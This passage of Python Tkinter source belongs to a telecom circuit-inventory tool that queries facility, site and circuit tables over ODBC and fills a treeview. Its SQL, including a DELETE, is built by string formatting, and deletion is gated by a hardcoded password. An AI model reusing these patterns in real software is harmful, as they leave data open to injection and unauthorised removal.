\"\"\"\r\n SELECT * FROM Facility\r\n WHERE Country_ID = '%s' AND Region_ID = '%s'\r\n \"\"\" % (self.CountryIDArray[self.ComboBoxCoutryID.current()],\r\n self.RegionIDArray[self.ComboBoxRegionID.current()])\r\n #print (sql)\r\n if (self.db.Execute(sql)):\r\n #print (\"found it\")\r\n self.sql_querry = True\r\n i = 0\r\n self.progress['maximum'] = len(self.db.results)\r\n self.FacilityIDArray = []\r\n self.FacilityNameArray = []\r\n while (i < len(self.db.results)):\r\n num = i + 1\r\n self.FacilityIDArray.append(self.db.results[i][3].strip())\r\n self.FacilityNameArray.append(self.db.results[i][4].strip())\r\n i = i + 1\r\n self.progress['value'] = i\r\n self.ComboBoxFacilityID['values'] = self.FacilityNameArray\r\n if (len(self.FacilityNameArray)== 0):\r\n self.ComboBoxFacilityID['state'] = DISABLED\r\n self.ComboBoxSiteID['state'] = DISABLED\r\n else:\r\n self.ComboBoxFacilityID['state'] = 'readonly'\r\n self.ComboBoxFacilityID.set(\"\")\r\n if (Is_Facility_Available):\r\n self.ButtonFacilityAdd['state'] = 'active'\r\n self.ButtonFacilityRefresh['state'] = 'active' \r\n else:\r\n mbox.showerror(master=self.CircuitsFrame,title='Circuits',\r\n message = 'No Records found')\r\n self.sql_querry = False\r\n else:\r\n mbox.showerror(master=self.CircuitsFrame,title='Circuits',\r\n message = '*** ERROR *** - THE ODBC Connection was NOT Succesful, \\r\\n'\r\n + 'Please make sure the ODBC DSN Name mathes: ['\r\n + self.ODBC_name + \"]\")\r\n \r\n#*************************************************************************************\r\n#---------------------------- FACILITY SELECTION SECTION ------------------------*\r\n#*************************************************************************************\r\n\r\n\r\n#***************************************************************************************\r\n#---------------------------- SITES SELECTION SECTION ------------------------*\r\n#***************************************************************************************\r\n \r\n def Display_Sites_Window(self): \r\n if Is_logging_Available:\r\n Parameter = []\r\n Parameter = ['Circuits','OPEN Sites Window'] \r\n Logging.Log(Parameter) \r\n Sites.Display_Sites_Window()\r\n\r\n def on_sites_combo_changed(self,event):\r\n self.Clean_Screen('sites','sites-combo')\r\n if self.db.Connect():\r\n # SQL Querry to the Circuits Table\r\n sql = \"\"\"\r\n SELECT * FROM Circuits\r\n WHERE Country_ID = '%s' AND Region_ID = '%s' AND Facility_ID = '%s' AND Site_ID = '%s'\r\n ORDER BY Circuit_ID ASC\r\n \"\"\" % (self.CountryIDArray[self.ComboBoxCoutryID.current()],self.RegionIDArray[self.ComboBoxRegionID.current()],\r\n self.FacilityIDArray[self.ComboBoxFacilityID.current()],self.SitesIDArray[self.ComboBoxSitesID.current()])\r\n #print (sql)\r\n if (Is_Sites_Available):\r\n self.ButtonSitesAdd['state'] = ACTIVE\r\n self.ButtonSitesRefresh['state'] = ACTIVE\r\n if ((self.db.Execute(sql)) and (self.Selection != 'edit')):\r\n #------------------------------- Deleting Tree View --------\r\n #x = self.CircuitsTreeview.get_children()\r\n #if x != '()': # checks if there is something in the first row\r\n # for child in x:\r\n # #print (child)\r\n # self.CircuitsTreeview.delete(child)\r\n #------------------------------- Deleting Tree View --------\r\n #-------------- Initializing Arrays ----------------------\r\n self.CircuitsTablePriaryKeyArray = [] # Circuits ID\r\n self.CircuitsTableDescriptionArray = [] \r\n self.CircuitsTableCountryIDArray = [] \r\n self.CircuitsTableRegionIDArray = []\r\n self.CircuitsTableFacilityIDArray = []\r\n self.CircuitsTableSiteIDArray = []\r\n self.CircuitsTableCarrierIDArray = []\r\n self.CircuitsTableCircuitTypeArray = []\r\n self.CircuitsTablePortSpeedArray = []\r\n self.CircuitsTableBandwidthArray = []\r\n self.CircuitsTableStatusArray = []\r\n self.CircuitsTableDmarc_Info_1Array = []\r\n self.CircuitsTableDmarc_Info_2Array = []\r\n self.CircuitsTableLEC1Array = []\r\n self.CircuitsTableLEC2Array = []\r\n self.CircuitsTableLEC3Array = []\r\n self.CircuitsTableLEC4Array = []\r\n self.CircuitsTableLEC5Array = []\r\n self.CircuitsTableCE_ASNArray = []\r\n self.CircuitsTableCE_IP_AddressArray = []\r\n self.CircuitsTablePE_ASNArray = []\r\n self.CircuitsTablePE_IP_AddressArray = []\r\n self.CircuitsTableVLAN_IDArray = []\r\n self.CircuitsTablePE_SwitchArray = []\r\n self.CircuitsTablePE_LocationArray = []\r\n self.CircuitsTableNPA_NXXArray = []\r\n self.CircuitsTableMonthlyCostArray = []\r\n self.CircuitsTableOrderNumberArray = []\r\n self.CircuitsTableDateInstalledArray = []\r\n self.CircuitsTableDayInstalledArray = []\r\n self.CircuitsTableMonthInstalledArray = []\r\n self.CircuitsTableYearInstalledArray = []\r\n self.CircuitsTableDateActivatedArray = []\r\n self.CircuitsTableDayActivatedArray = []\r\n self.CircuitsTableMonthActivatedArray = []\r\n self.CircuitsTableYearActivatedArray = []\r\n self.CircuitsTableDisconectedDateArray = []\r\n self.CircuitsTableDayDisconectedArray = []\r\n self.CircuitsTableMonthDisconectedArray = []\r\n self.CircuitsTableYearDisconectedArray = []\r\n self.CircuitsTableExpirationDateArray = []\r\n self.CircuitsTableDayExpirationArray = []\r\n self.CircuitsTableMonthExpirationArray = []\r\n self.CircuitsTableYearExpirationArray = []\r\n self.CircuitsTableTerm_DayArray = []\r\n self.CircuitsTableTerm_TimeArray = []\r\n self.CircuitsTableETFArray = []\r\n self.CircuitsTableContract_NoArray = []\r\n self.CircuitsTableAccount_NoArray = []\r\n self.CircuitsTableExecutedByArray = []\r\n self.results = []\r\n self.CircuitsTableArrayTemp = []\r\n self.circuitsTableColumns = (\r\n 'Circuit ID',\r\n 'Description',\r\n 'Country ID', \r\n 'Region ID',\r\n 'Facility ID',\r\n 'Site ID',\r\n 'Carrier ID',\r\n 'Circuit Type',\r\n 'Port Speed',\r\n 'Bandwidth',\r\n 'Status',\r\n 'Dmarc Info 1',\r\n 'Dmarc Info 2',\r\n 'LEC1',\r\n 'LEC2',\r\n 'LEC3',\r\n 'LEC4',\r\n 'LEC5',\r\n 'CE ASN',\r\n 'CE IP Address',\r\n 'PE ASN',\r\n 'PE IP Address',\r\n 'VLAN ID',\r\n 'PE Switch',\r\n 'PE Location',\r\n 'NPA NXX',\r\n 'Monthly Cost',\r\n 'Order Number',\r\n 'Date Installed',\r\n 'Day Installed',\r\n 'Month Installed',\r\n 'Year Installed',\r\n 'Date Activated',\r\n 'Day Activated',\r\n 'Month Activated',\r\n 'Year Activated',\r\n 'Disconnect Date',\r\n 'Day Disconnect',\r\n 'Month Disconnect',\r\n 'Year Disconnect',\r\n 'Expiration Date',\r\n 'Day Expiration',\r\n 'Month Expiration',\r\n 'Year Expiration',\r\n 'Term Day',\r\n 'Term Time',\r\n 'ETF',\r\n 'Contract No',\r\n 'Account No',\r\n 'Executed by UserID')\r\n \r\n '''\r\n 0 - Circuit_ID CHAR(100) NOT NULL PRIMARY KEY,\r\n 1 - Description CHAR(200),\r\n 2 - Country_ID CHAR(20), \r\n 3 - Region_ID CHAR(20),\r\n 4 - Facility_ID CHAR(20),\r\n 5 - Site_ID CHAR(20),\r\n 6 - Carrier_ID CHAR(20),\r\n 7 - Circuit_Type CHAR(40),\r\n 8 - Port_Speed CHAR(20),\r\n 9 - Bandwidth CHAR(20),\r\n 10- Status CHAR(20),\r\n 11- Dmarc_Info_1 CHAR(200),\r\n 12- Dmarc_Info_2 CHAR(200),\r\n 13- LEC1 CHAR(50),\r\n 14- LEC2 CHAR(50),\r\n 15- LEC3 CHAR(50),\r\n 16- LEC4 CHAR(50),\r\n 17- LEC5 CHAR(50),\r\n 18- CE_ASN CHAR(20),\r\n 19- CE_IP_Address CHAR(50),\r\n 20- PE_ASN CHAR(20),\r\n 21- PE_IP_Address CHAR(50),\r\n 22- VLAN_ID CHAR(10),\r\n 23- PE_Switch CHAR(100),\r\n 24- PE_Location CHAR(100),\r\n 25- NPA_NXX CHAR(20),\r\n 26- Monthly_Cost FLOAT,\r\n 27- Order_Number CHAR(40),\r\n 28- Date_Installed CHAR(20),\r\n 29- Day_Installed INT,\r\n 30- Month_Installed INT,\r\n 31- Year_Installed INT,\r\n 32- Date_Activated CHAR(20),\r\n 33- Day_Activated INT,\r\n 34- Month_Activated INT,\r\n 35- Year_Activated INT,\r\n 36- Disconnect_Date CHAR(20),\r\n 37- Day_Disconnect INT,\r\n 38- Month_Disconnect INT,\r\n 39- Year_Disconnect INT,\r\n 40- Expiration_Date CHAR(20),\r\n 41- Day_Expiration INT,\r\n 42- Month_Expiration INT,\r\n 43- Year_Expiration INT,\r\n 44- Term_Day CHAR(10),\r\n 45- Term_Time CHAR(10),\r\n 46- ETF FLOAT,\r\n 47- Contract_No CHAR(50),\r\n 48- Account_No CAHR(50),\r\n 49- Executed_by_UserID CHAR(20))\"\"\"\r\n\r\n '''\r\n #-------------- Initializing Arrays ----------------------\r\n self.data_ready = True\r\n i = 0\r\n while (i < len(self.db.results)): \r\n self.CircuitsTablePriaryKeyArray.append(self.db.results[i][0].strip())\r\n self.CircuitsTableDescriptionArray.append(self.db.results[i][1].strip())\r\n self.CircuitsTableCountryIDArray.append(self.db.results[i][2].strip())\r\n self.CircuitsTableRegionIDArray.append(self.db.results[i][3].strip())\r\n self.CircuitsTableFacilityIDArray.append(self.db.results[i][4].strip())\r\n self.CircuitsTableSiteIDArray.append(self.db.results[i][5].strip())\r\n self.CircuitsTableCarrierIDArray.append(self.db.results[i][6].strip())\r\n self.CircuitsTableCircuitTypeArray.append(self.db.results[i][7].strip())\r\n self.CircuitsTablePortSpeedArray.append(self.db.results[i][8].strip())\r\n self.CircuitsTableBandwidthArray.append(self.db.results[i][9].strip())\r\n self.CircuitsTableStatusArray.append(self.db.results[i][10].strip())\r\n if ((self.db.results[i][11]) == None):\r\n self.CircuitsTableDmarc_Info_1Array.append(\"\")\r\n else:\r\n self.CircuitsTableDmarc_Info_1Array.append(self.db.results[i][11].strip())\r\n if ((self.db.results[i][12]) == None):\r\n self.CircuitsTableDmarc_Info_2Array.append(\"\")\r\n else:\r\n self.CircuitsTableDmarc_Info_2Array.append(self.db.results[i][12].strip())\r\n if ((self.db.results[i][13]) == None):\r\n self.CircuitsTableLEC1Array.append(\"\")\r\n else:\r\n self.CircuitsTableLEC1Array.append(self.db.results[i][13].strip())\r\n if ((self.db.results[i][14]) == None): \r\n self.CircuitsTableLEC2Array.append(\"\")\r\n else:\r\n self.CircuitsTableLEC2Array.append(self.db.results[i][14].strip())\r\n\r\n if ((self.db.results[i][15]) == None):\r\n self.CircuitsTableLEC3Array.append(\"\")\r\n else:\r\n self.CircuitsTableLEC3Array.append(self.db.results[i][15].strip())\r\n if ((self.db.results[i][16]) == None):\r\n self.CircuitsTableLEC4Array.append(\"\")\r\n else:\r\n self.CircuitsTableLEC4Array.append(self.db.results[i][16].strip())\r\n if ((self.db.results[i][17]) == None):\r\n self.CircuitsTableLEC5Array.append(\"\")\r\n else:\r\n self.CircuitsTableLEC5Array.append(self.db.results[i][17].strip())\r\n if ((self.db.results[i][18]) == None):\r\n self.CircuitsTableCE_ASNArray.append(\"\")\r\n else:\r\n self.CircuitsTableCE_ASNArray.append(self.db.results[i][18].strip())\r\n if ((self.db.results[i][19]) == None):\r\n self.CircuitsTableCE_IP_AddressArray.append(\"0.0.0.0\")\r\n else:\r\n self.CircuitsTableCE_IP_AddressArray.append(self.db.results[i][19].strip())\r\n if ((self.db.results[i][20]) == None):\r\n self.CircuitsTablePE_ASNArray.append(\"\")\r\n else:\r\n self.CircuitsTablePE_ASNArray.append(self.db.results[i][20].strip())\r\n if ((self.db.results[i][21]) == None):\r\n self.CircuitsTablePE_IP_AddressArray.append(\"0.0.0.0\")\r\n else:\r\n self.CircuitsTablePE_IP_AddressArray.append(self.db.results[i][21].strip())\r\n if ((self.db.results[i][22]) == None):\r\n self.CircuitsTableVLAN_IDArray.append(\"\")\r\n else:\r\n self.CircuitsTableVLAN_IDArray.append(self.db.results[i][22].strip())\r\n if ((self.db.results[i][23]) == None):\r\n self.CircuitsTablePE_SwitchArray.append(\"\")\r\n else:\r\n self.CircuitsTablePE_SwitchArray.append(self.db.results[i][23].strip())\r\n if ((self.db.results[i][24]) == None):\r\n self.CircuitsTablePE_LocationArray.append(\"\")\r\n else:\r\n self.CircuitsTablePE_LocationArray.append(self.db.results[i][24].strip())\r\n if (self.db.results[i][25] == None):\r\n self.CircuitsTableNPA_NXXArray.append(\"\")\r\n else:\r\n self.CircuitsTableNPA_NXXArray.append(self.db.results[i][25].strip())\r\n if (self.db.results[i][26] == None):\r\n self.CircuitsTableMonthlyCostArray.append(0.0)\r\n else:\r\n self.CircuitsTableMonthlyCostArray.append(self.db.results[i][26])\r\n if (self.db.results[i][27] == None):\r\n self.CircuitsTableOrderNumberArray.append(\"\")\r\n else:\r\n self.CircuitsTableOrderNumberArray.append(self.db.results[i][27].strip())\r\n if (((self.db.results[i][28]) == None) or (self.db.results[i][29] == 0)):\r\n self.CircuitsTableDateInstalledArray.append(\"\")\r\n self.CircuitsTableDayInstalledArray.append(0)\r\n self.CircuitsTableMonthInstalledArray.append(0)\r\n self.CircuitsTableYearInstalledArray.append(0)\r\n else:\r\n self.CircuitsTableDateInstalledArray.append(self.db.results[i][28].strip())\r\n self.CircuitsTableDayInstalledArray.append(self.db.results[i][29])\r\n self.CircuitsTableMonthInstalledArray.append(self.db.results[i][30])\r\n self.CircuitsTableYearInstalledArray.append(self.db.results[i][31])\r\n\r\n if (((self.db.results[i][32]) == None) or (self.db.results[i][33] == 0)):\r\n self.CircuitsTableDateActivatedArray.append(\"\")\r\n self.CircuitsTableDayActivatedArray.append(0)\r\n self.CircuitsTableMonthActivatedArray.append(0)\r\n self.CircuitsTableYearActivatedArray.append(0)\r\n else:\r\n self.CircuitsTableDateActivatedArray.append(self.db.results[i][32].strip())\r\n self.CircuitsTableDayActivatedArray.append(self.db.results[i][33])\r\n self.CircuitsTableMonthActivatedArray.append(self.db.results[i][34])\r\n self.CircuitsTableYearActivatedArray.append(self.db.results[i][35])\r\n\r\n if (((self.db.results[i][36]) == None) or (self.db.results[i][37] == 0)):\r\n self.CircuitsTableDisconectedDateArray.append(\"\")\r\n self.CircuitsTableDayDisconectedArray.append(0)\r\n self.CircuitsTableMonthDisconectedArray.append(0)\r\n self.CircuitsTableYearDisconectedArray.append(0)\r\n else:\r\n self.CircuitsTableDisconectedDateArray.append(self.db.results[i][36].strip())\r\n self.CircuitsTableDayDisconectedArray.append(self.db.results[i][37])\r\n self.CircuitsTableMonthDisconectedArray.append(self.db.results[i][38])\r\n self.CircuitsTableYearDisconectedArray.append(self.db.results[i][39])\r\n\r\n if (((self.db.results[i][40]) == None) or (self.db.results[i][41] == 0)):\r\n self.CircuitsTableExpirationDateArray.append(\"\")\r\n self.CircuitsTableDayExpirationArray.append(0)\r\n self.CircuitsTableMonthExpirationArray.append(0)\r\n self.CircuitsTableYearExpirationArray.append(0)\r\n else:\r\n self.CircuitsTableExpirationDateArray.append(self.db.results[i][40].strip())\r\n self.CircuitsTableDayExpirationArray.append(self.db.results[i][41])\r\n self.CircuitsTableMonthExpirationArray.append(self.db.results[i][42])\r\n self.CircuitsTableYearExpirationArray.append(self.db.results[i][43])\r\n if (self.db.results[i][44] == None):\r\n self.CircuitsTableTerm_DayArray.append(\"\")\r\n else:\r\n self.CircuitsTableTerm_DayArray.append(self.db.results[i][44].strip())\r\n if (self.db.results[i][45] == None):\r\n self.CircuitsTableTerm_TimeArray.append(\"\")\r\n else:\r\n self.CircuitsTableTerm_TimeArray.append(self.db.results[i][45].strip())\r\n if (self.db.results[i][46] == None):\r\n self.CircuitsTableETFArray.append(0.0)\r\n else:\r\n self.CircuitsTableETFArray.append(self.db.results[i][46])\r\n if (self.db.results[i][47] == None):\r\n self.CircuitsTableContract_NoArray.append(\"\")\r\n else:\r\n self.CircuitsTableContract_NoArray.append(self.db.results[i][47].strip())\r\n if (self.db.results[i][48] == None):\r\n self.CircuitsTableAccount_NoArray.append(\"\")\r\n else:\r\n self.CircuitsTableAccount_NoArray.append(self.db.results[i][48].strip())\r\n if (self.db.results[i][49] == None):\r\n self.CircuitsTableExecutedByArray.append(\"\")\r\n else:\r\n self.CircuitsTableExecutedByArray.append(self.db.results[i][49].strip())\r\n i = i + 1\r\n i = 0\r\n while (i < len(self.CircuitsTablePriaryKeyArray)):\r\n num = i + 1\r\n tags = self.CircuitsTableStatusArray[i] # To use in the futire\r\n item = [\r\n self.CircuitsTablePriaryKeyArray[i],\r\n self.CircuitsTableDescriptionArray[i],\r\n self.CircuitsTableCarrierIDArray[i],\r\n self.CircuitsTableCircuitTypeArray[i],\r\n self.CircuitsTablePortSpeedArray[i],\r\n self.CircuitsTableBandwidthArray[i],\r\n #self.CircuitsTableCE_ASNArray[i],\r\n #self.CircuitsTableCE_IP_AddressArray[i],\r\n #self.CircuitsTablePE_ASNArray[i],\r\n #self.CircuitsTablePE_IP_AddressArray[i],\r\n #self.CircuitsTableVLAN_IDArray[i],\r\n self.CircuitsTableMonthlyCostArray[i],\r\n self.CircuitsTableETFArray[i], \r\n self.CircuitsTableDateInstalledArray[i],\r\n self.CircuitsTableDateActivatedArray[i],\r\n self.CircuitsTableDisconectedDateArray[i],\r\n self.CircuitsTableStatusArray[i],\r\n self.CircuitsTableContract_NoArray[i],\r\n self.CircuitsTableExpirationDateArray[i],\r\n self.CircuitsTableExecutedByArray[i]\r\n ]\r\n self.CircuitsTableArrayTemp = [\r\n self.CircuitsTablePriaryKeyArray[i],\r\n self.CircuitsTableDescriptionArray[i],\r\n self.CircuitsTableCountryIDArray[i],\r\n self.CircuitsTableRegionIDArray[i],\r\n self.CircuitsTableFacilityIDArray[i],\r\n self.CircuitsTableSiteIDArray[i],\r\n self.CircuitsTableCarrierIDArray[i],\r\n self.CircuitsTableCircuitTypeArray[i],\r\n self.CircuitsTablePortSpeedArray[i],\r\n self.CircuitsTableBandwidthArray[i],\r\n self.CircuitsTableStatusArray[i],\r\n self.CircuitsTableDmarc_Info_1Array[i],\r\n self.CircuitsTableDmarc_Info_2Array[i],\r\n self.CircuitsTableLEC1Array[i],\r\n self.CircuitsTableLEC2Array[i],\r\n self.CircuitsTableLEC3Array[i],\r\n self.CircuitsTableLEC4Array[i],\r\n self.CircuitsTableLEC5Array[i],\r\n self.CircuitsTableCE_ASNArray[i],\r\n self.CircuitsTableCE_IP_AddressArray[i],\r\n self.CircuitsTablePE_ASNArray[i],\r\n self.CircuitsTablePE_IP_AddressArray[i],\r\n self.CircuitsTableVLAN_IDArray[i],\r\n self.CircuitsTablePE_SwitchArray[i],\r\n self.CircuitsTablePE_LocationArray[i],\r\n self.CircuitsTableNPA_NXXArray[i],\r\n self.CircuitsTableMonthlyCostArray[i],\r\n self.CircuitsTableOrderNumberArray[i],\r\n self.CircuitsTableDateInstalledArray[i],\r\n self.CircuitsTableDayInstalledArray[i],\r\n self.CircuitsTableMonthInstalledArray[i],\r\n self.CircuitsTableYearInstalledArray[i],\r\n self.CircuitsTableDateActivatedArray[i],\r\n self.CircuitsTableDayActivatedArray[i],\r\n self.CircuitsTableMonthActivatedArray[i],\r\n self.CircuitsTableYearActivatedArray[i],\r\n self.CircuitsTableDisconectedDateArray[i],\r\n self.CircuitsTableDayDisconectedArray[i],\r\n self.CircuitsTableMonthDisconectedArray[i],\r\n self.CircuitsTableYearDisconectedArray[i],\r\n self.CircuitsTableExpirationDateArray[i],\r\n self.CircuitsTableDayExpirationArray[i],\r\n self.CircuitsTableMonthExpirationArray[i],\r\n self.CircuitsTableYearExpirationArray[i],\r\n self.CircuitsTableTerm_DayArray[i],\r\n self.CircuitsTableTerm_TimeArray[i],\r\n self.CircuitsTableETFArray[i],\r\n self.CircuitsTableContract_NoArray[i],\r\n self.CircuitsTableAccount_NoArray[i],\r\n self.CircuitsTableExecutedByArray[i]\r\n ]\r\n self.results.append(self.CircuitsTableArrayTemp)\r\n self.CircuitsTreeview.insert('', END, text='%3d'%num, values=item, tags=tags)\r\n i = i + 1\r\n self.ButtonCircuitsAdd['state'] = ACTIVE\r\n self.ButtonCircuitsEdit['state'] = DISABLED\r\n self.ButtonCircuitsRemove['state'] = DISABLED\r\n self.ButtonCircuitsOK['state'] = DISABLED\r\n self.ButtonCircuitsCancel['state'] = DISABLED\r\n self.ButtonDevicePingPE64['state'] = DISABLED\r\n self.ButtonDevicePingPE1500['state'] = DISABLED\r\n self.ButtonDevicePingCE64['state'] = DISABLED\r\n self.ButtonDevicePingCE1500['state'] = DISABLED\r\n self.ButtonDeviceCircuits['state'] = DISABLED\r\n self.ButtonDeviceTraceroutePE['state'] = DISABLED\r\n self.ButtonDeviceTracerouteCE['state'] = DISABLED\r\n self.ButtonDeviceLocalPointOfContacts['state'] = DISABLED\r\n\r\n else:\r\n if (self.Selection != 'edit'):\r\n mbox.showerror(master=self.CircuitsFrame,title='Circuits',\r\n message = 'No Records found')\r\n else:\r\n mbox.showerror(master=self.CircuitsFrame,title='Circuits',\r\n message = '*** ERROR *** - THE ODBC Connection was NOT Succesful, \\r\\n'\r\n + 'Please make sure the ODBC DSN Name mathes: ['\r\n + self.ODBC_name + \"]\")\r\n\r\n def on_Sites_Table_Refresh(self):\r\n if Is_logging_Available:\r\n Parameter = []\r\n Parameter = ['Circuits','REFRESH Sites Window'] \r\n Logging.Log(Parameter) \r\n self.Clean_Screen('sites','all')\r\n if self.db.Connect():\r\n # SQL Querry to the Circuits Table\r\n if (self.Selection == 'cancel_edit'):\r\n sql = \"\"\"\r\n SELECT * FROM Sites\r\n WHERE Country_ID = '%s' AND Region_ID = '%s' AND Facility_ID = '%s' AND Site_ID = '%s'\r\n \"\"\" % (self.CountryID_Pre,self.RegionID_Pre,self.FacilityID_Pre,self.SitesID_Pre)\r\n else:\r\n sql = \"\"\"\r\n SELECT * FROM Sites\r\n WHERE Country_ID = '%s' AND Region_ID = '%s' AND Facility_ID = '%s'\r\n \"\"\" % (self.CountryIDArray[self.ComboBoxCoutryID.current()],self.RegionIDArray[self.ComboBoxRegionID.current()],\r\n self.FacilityIDArray[self.ComboBoxFacilityID.current()])\r\n #print (sql)\r\n if (self.db.Execute(sql)):\r\n #print (\"found it\")\r\n self.sql_querry = True\r\n i = 0\r\n self.progress['maximum'] = len(self.db.results)\r\n self.SitesIDArray = []\r\n self.SitesNameArray = []\r\n while (i < len(self.db.results)):\r\n num = i + 1\r\n self.SitesIDArray.append(self.db.results[i][4].strip())\r\n self.SitesNameArray.append(self.db.results[i][5].strip())\r\n i = i + 1\r\n self.progress['value'] = i\r\n self.ComboBoxSitesID['values'] = self.SitesNameArray\r\n if (len(self.SitesNameArray)== 0):\r\n self.ComboBoxSitesID['state'] = DISABLED\r\n else:\r\n self.ComboBoxSitesID['state'] = 'readonly'\r\n self.ComboBoxSitesID.set(\"\")\r\n else:\r\n mbox.showerror(master=self.CircuitsFrame,title='Circuits',\r\n message = 'No Records found')\r\n self.ComboBoxSitesID['state'] = DISABLED\r\n self.sql_querry = False\r\n else:\r\n mbox.showerror(master=self.CircuitsFrame,title='Circuits',\r\n message = '*** ERROR *** - THE ODBC Connection was NOT Succesful, \\r\\n'\r\n + 'Please make sure the ODBC DSN Name mathes: ['\r\n + self.ODBC_name + \"]\")\r\n \r\n#*************************************************************************************\r\n#---------------------------- SITES SELECTION SECTION ------------------------*\r\n#*************************************************************************************\r\n \r\n def on_CircuitsWindow_quit(self):\r\n if (self.CircuitsWindowExist):\r\n self.CircuitsWindowExist = False\r\n self.db.Disconnect()\r\n if Is_logging_Available:\r\n Parameter = []\r\n Parameter = ['Circuits','CLOSE Window'] \r\n Logging.Log(Parameter) \r\n self.CircuitsWindow.destroy()\r\n\r\n def on_Circuits_Table_Refresh(self): # I need to do more research on this call.\r\n self.on_country_combo_changed(\"event\")\r\n \r\n def Call_Button_Circuits_Add(self):\r\n #-- reset the progess bar --\r\n self.Enable_Screen('add')\r\n self.Selection = 'add'\r\n if Is_logging_Available:\r\n Parameter = []\r\n Parameter = ['Circuits','ADD Button'] \r\n Logging.Log(Parameter) \r\n\r\n def Call_Button_Circuits_Edit(self):\r\n if Is_logging_Available:\r\n Parameter = []\r\n Parameter = ['Circuits','EDIT Button'] \r\n Logging.Log(Parameter) \r\n self.progress['maximum'] = 100\r\n self.progress['value'] = 0\r\n self.Selection = 'edit'\r\n self.CountryID_Pre = self.CountryIDArray[self.ComboBoxCoutryID.current()]\r\n self.RegionID_Pre = self.RegionIDArray[self.ComboBoxRegionID.current()]\r\n self.FacilityID_Pre = self.FacilityIDArray[self.ComboBoxFacilityID.current()]\r\n self.SitesID_Pre = self.SitesIDArray[self.ComboBoxSitesID.current()]\r\n self.Enable_Screen('edit')\r\n # ----- Installed Date ---------------------\r\n self.CircuitsInstalledData = {}\r\n if (self.Selection == 'edit'):\r\n self.CircuitsInstalledDateName = self.CircuitsInstalledDateFrameEntry.get()\r\n curItem = self.CircuitsTreeview.focus() \r\n dic = self.CircuitsTreeview.item(curItem)\r\n curItem = int(dic.get('text')) - 1\r\n if (len(self.CircuitsInstalledDateName) > 0):\r\n if (self.CircuitsTableDateInstalledArray[curItem] != 0):\r\n self.CircuitsInstalledData['day_selected'] = self.CircuitsTableDayInstalledArray[curItem]\r\n self.CircuitsInstalledData['month_selected'] = self.CircuitsTableMonthInstalledArray[curItem]\r\n self.CircuitsInstalledData['year_selected'] = self.CircuitsTableYearInstalledArray[curItem]\r\n # ----- Activated Date ---------------------\r\n self.CircuitsActivatedDateName = self.CircuitsActivatedDateFrameEntry.get()\r\n curItem = self.CircuitsTreeview.focus() \r\n dic = self.CircuitsTreeview.item(curItem)\r\n curItem = int(dic.get('text')) - 1\r\n self.CircuitsActivatedData = {}\r\n if (len(self.CircuitsActivatedDateName) > 0):\r\n if (self.CircuitsTableDateActivatedArray[curItem] != 0):\r\n self.CircuitsActivatedData['day_selected'] = self.CircuitsTableDayActivatedArray[curItem]\r\n self.CircuitsActivatedData['month_selected'] = self.CircuitsTableMonthActivatedArray[curItem]\r\n self.CircuitsActivatedData['year_selected'] = self.CircuitsTableYearActivatedArray[curItem]\r\n #print (\"Day, Month, Year\")\r\n #print (self.CircuitsActivatedData['day_selected'])\r\n #print (self.CircuitsActivatedData['month_selected'])\r\n #print (self.CircuitsActivatedData['year_selected'])\r\n # ----- Disconnected Date ---------------------\r\n self.CircuitsDisconnectedData = {}\r\n if (self.Selection == 'edit'):\r\n self.CircuitsDisconnectedDateName = self.CircuitsDisconnectedDateFrameEntry.get()\r\n curItem = self.CircuitsTreeview.focus() \r\n dic = self.CircuitsTreeview.item(curItem)\r\n curItem = int(dic.get('text')) - 1\r\n if (len(self.CircuitsDisconnectedDateName) > 0):\r\n if (self.CircuitsTableDisconectedDateArray[curItem] != 0):\r\n self.CircuitsDisconnectedData['day_selected'] = self.CircuitsTableDayDisconectedArray[curItem]\r\n self.CircuitsDisconnectedData['month_selected'] = self.CircuitsTableMonthDisconectedArray[curItem]\r\n self.CircuitsDisconnectedData['year_selected'] = self.CircuitsTableYearDisconectedArray[curItem]\r\n # ----- Expiration Date ---------------------\r\n self.CircuitsExpirationData = {}\r\n if (self.Selection == 'edit'):\r\n self.CircuitsExpirationDateName = self.CircuitsExpirationDateFrameEntry.get()\r\n curItem = self.CircuitsTreeview.focus() \r\n dic = self.CircuitsTreeview.item(curItem)\r\n curItem = int(dic.get('text')) - 1\r\n if (len(self.CircuitsExpirationDateName) > 0):\r\n if (self.CircuitsTableExpirationDateArray[curItem] != 0):\r\n self.CircuitsExpirationData['day_selected'] = self.CircuitsTableDayExpirationArray[curItem]\r\n self.CircuitsExpirationData['month_selected'] = self.CircuitsTableMonthExpirationArray[curItem]\r\n self.CircuitsExpirationData['year_selected'] = self.CircuitsTableYearExpirationArray[curItem]\r\n\r\n #-------------- Using a Password Question to make sure it was the intent to be deleted ---------------\r\n\r\n def Remove_Circuits_From_DB(self):\r\n if Is_logging_Available:\r\n Parameter = []\r\n Parameter = ['Circuits','REMOVE Final Button'] \r\n Logging.Log(Parameter) \r\n if self.db.Connect():\r\n self.progress['maximum'] = 100\r\n self.progress['value'] = 0\r\n self.Selection = 'remove'\r\n #self.CircuitsID = self.CircuitIDFrameEntry.get()\r\n PrimaryKey = (self.CircuitsID)\r\n if (mbox.askyesnocancel(master=self.CircuitsFrame,title='Circuits',message = 'Are you Sure you want to Remove it?')):\r\n #PrimaryKey = (self.CountryID+\"-\"+self.RegionID+\"-\"+self.CircuitsID)\r\n #print (PrimaryKey)\r\n sql = \"\"\"\r\n SELECT * FROM Circuits\r\n WHERE Circuit_ID = '%s'\r\n \"\"\" % (PrimaryKey) \r\n if (self.db.Execute(sql)):\r\n sql = \"DELETE FROM Circuits WHERE Circuit_ID = '%s'\" % (PrimaryKey)\r\n if (self.db.Add_Move_Change_Data(sql)):\r\n #self.db.Disconnect()\r\n mbox.showwarning(master=self.CircuitsFrame,title='Circuits',\r\n message = '*** The Circuit ID you entered was Removed ***')\r\n else:\r\n #self.db.Disconnect()\r\n mbox.showerror(master=self.CircuitsFrame,title='Circuits',\r\n message = '*** The Circuit ID you entered was NOT Removed ***') \r\n self.on_sites_combo_changed(\"event\")\r\n self.Disable_Screen()\r\n else:\r\n mbox.showerror(master=self.CircuitsFrame,title='Circuits',\r\n message = '*** The Circuit ID you try to Remove Does not exist Anymore ***')\r\n else:\r\n mbox.showerror(master=self.CircuitsFrame,title='Circuits',\r\n message = '*** ERROR *** - THE ODBC Connection was NOT Succesful, \\r\\n'\r\n + 'Please make sure the ODBC DSN Name mathes: ['\r\n + self.ODBC_name + \"]\")\r\n\r\n def try_login(self):\r\n self.GetPasswordWindowsExists = True \r\n if self.password_guess.get() == \"BeCareful\":\r\n self.GetPasswordWindow.destroy()\r\n self.Remove_Circuits_From_DB()\r\n 